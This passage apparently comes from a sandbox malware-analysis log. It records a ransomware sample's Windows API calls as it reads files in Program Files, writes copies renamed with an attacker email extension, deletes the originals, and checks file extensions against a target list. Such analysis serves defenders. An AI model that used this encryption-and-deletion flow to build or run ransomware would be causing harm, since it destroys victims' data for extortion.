lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.043] SetEndOfFile (hFile=0x220) returned 1 [0216.043] CloseHandle (hObject=0x220) returned 1 [0216.043] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.043] SetEndOfFile (hFile=0x20c) returned 1 [0216.044] CloseHandle (hObject=0x20c) returned 1 [0216.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString=".doc") returned 4 [0216.045] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString=".docx") returned 5 [0216.045] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0216.045] lstrlenW (lpString=".pdf") returned 4 [0216.045] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString=".xls") returned 4 [0216.045] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString=".xlsx") returned 5 [0216.045] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0216.045] lstrlenW (lpString=".ppt") returned 4 [0216.045] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString=".zip") returned 4 [0216.045] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.045] lstrlenW (lpString=".rar") returned 4 [0216.045] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString=".bz2") returned 4 [0216.045] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString=".7z") returned 3 [0216.045] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString=".dbf") returned 4 [0216.045] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString=".1cd") returned 4 [0216.045] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0216.045] lstrlenW (lpString=".jpg") returned 4 [0216.045] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.068] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6684) returned 1 [0216.068] CloseHandle (hObject=0x214) returned 1 [0216.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0216.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.068] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.068] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.069] GetLastError () returned 0x0 [0216.069] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0216.084] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0216.085] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.085] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.085] SetEndOfFile (hFile=0x1f4) returned 1 [0216.085] CloseHandle (hObject=0x1f4) returned 1 [0216.085] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.085] SetEndOfFile (hFile=0x214) returned 1 [0216.086] CloseHandle (hObject=0x214) returned 1 [0216.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0216.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.086] lstrlenW (lpString=".doc") returned 4 [0216.086] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.086] lstrlenW (lpString=".docx") returned 5 [0216.086] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.086] lstrlenW (lpString=".pdf") returned 4 [0216.086] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.086] lstrlenW (lpString=".xls") returned 4 [0216.086] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.086] lstrlenW (lpString=".xlsx") returned 5 [0216.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.086] lstrlenW (lpString=".ppt") returned 4 [0216.086] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.086] lstrlenW (lpString=".zip") returned 4 [0216.086] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.086] lstrlenW (lpString=".rar") returned 4 [0216.086] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.086] lstrlenW (lpString=".bz2") returned 4 [0216.086] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.086] lstrlenW (lpString=".7z") returned 3 [0216.086] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.086] lstrlenW (lpString=".dbf") returned 4 [0216.086] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.086] lstrlenW (lpString=".1cd") returned 4 [0216.087] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0216.087] lstrlenW (lpString=".jpg") returned 4 [0216.087] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.087] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=11891) returned 1 [0216.087] CloseHandle (hObject=0x214) returned 1 [0216.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0216.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.087] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.087] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.087] GetLastError () returned 0x0 [0216.087] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0216.103] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0216.103] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.103] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.103] SetEndOfFile (hFile=0x1f4) returned 1 [0216.104] CloseHandle (hObject=0x1f4) returned 1 [0216.104] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.104] SetEndOfFile (hFile=0x214) returned 1 [0216.104] CloseHandle (hObject=0x214) returned 1 [0216.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString=".doc") returned 4 [0216.105] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.105] lstrlenW (lpString=".docx") returned 5 [0216.105] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.105] lstrlenW (lpString=".pdf") returned 4 [0216.105] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.105] lstrlenW (lpString=".xls") returned 4 [0216.105] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.105] lstrlenW (lpString=".xlsx") returned 5 [0216.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.105] lstrlenW (lpString=".ppt") returned 4 [0216.105] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString=".zip") returned 4 [0216.105] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.105] lstrlenW (lpString=".rar") returned 4 [0216.105] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.105] lstrlenW (lpString=".bz2") returned 4 [0216.105] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.105] lstrlenW (lpString=".7z") returned 3 [0216.105] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString=".dbf") returned 4 [0216.105] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString=".1cd") returned 4 [0216.105] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0216.105] lstrlenW (lpString=".jpg") returned 4 [0216.106] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.106] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3484) returned 1 [0216.106] CloseHandle (hObject=0x214) returned 1 [0216.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0216.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.106] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.106] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.106] GetLastError () returned 0x0 [0216.106] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0216.117] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0216.118] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.118] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.118] SetEndOfFile (hFile=0x1f4) returned 1 [0216.118] CloseHandle (hObject=0x1f4) returned 1 [0216.118] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.118] SetEndOfFile (hFile=0x214) returned 1 [0216.119] CloseHandle (hObject=0x214) returned 1 [0216.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0216.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.119] lstrlenW (lpString=".doc") returned 4 [0216.119] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.119] lstrlenW (lpString=".docx") returned 5 [0216.119] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.119] lstrlenW (lpString=".pdf") returned 4 [0216.119] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.119] lstrlenW (lpString=".xls") returned 4 [0216.119] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.119] lstrlenW (lpString=".xlsx") returned 5 [0216.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.119] lstrlenW (lpString=".ppt") returned 4 [0216.119] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.119] lstrlenW (lpString=".zip") returned 4 [0216.119] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.119] lstrlenW (lpString=".rar") returned 4 [0216.119] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.119] lstrlenW (lpString=".bz2") returned 4 [0216.120] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.120] lstrlenW (lpString=".7z") returned 3 [0216.120] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.120] lstrlenW (lpString=".dbf") returned 4 [0216.120] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.120] lstrlenW (lpString=".1cd") returned 4 [0216.120] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0216.120] lstrlenW (lpString=".jpg") returned 4 [0216.120] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.120] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5253) returned 1 [0216.120] CloseHandle (hObject=0x214) returned 1 [0216.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0216.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.120] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.120] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.121] GetLastError () returned 0x0 [0216.121] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1485, lpOverlapped=0x0) returned 1 [0216.129] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0216.130] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.130] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.130] SetEndOfFile (hFile=0x1f4) returned 1 [0216.130] CloseHandle (hObject=0x1f4) returned 1 [0216.130] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.130] SetEndOfFile (hFile=0x214) returned 1 [0216.131] CloseHandle (hObject=0x214) returned 1 [0216.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0216.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString=".doc") returned 4 [0216.132] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.132] lstrlenW (lpString=".docx") returned 5 [0216.132] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.132] lstrlenW (lpString=".pdf") returned 4 [0216.132] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.132] lstrlenW (lpString=".xls") returned 4 [0216.132] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.132] lstrlenW (lpString=".xlsx") returned 5 [0216.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.132] lstrlenW (lpString=".ppt") returned 4 [0216.132] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString=".zip") returned 4 [0216.132] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.132] lstrlenW (lpString=".rar") returned 4 [0216.132] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.132] lstrlenW (lpString=".bz2") returned 4 [0216.132] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.132] lstrlenW (lpString=".7z") returned 3 [0216.132] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString=".dbf") returned 4 [0216.132] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString=".1cd") returned 4 [0216.132] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned 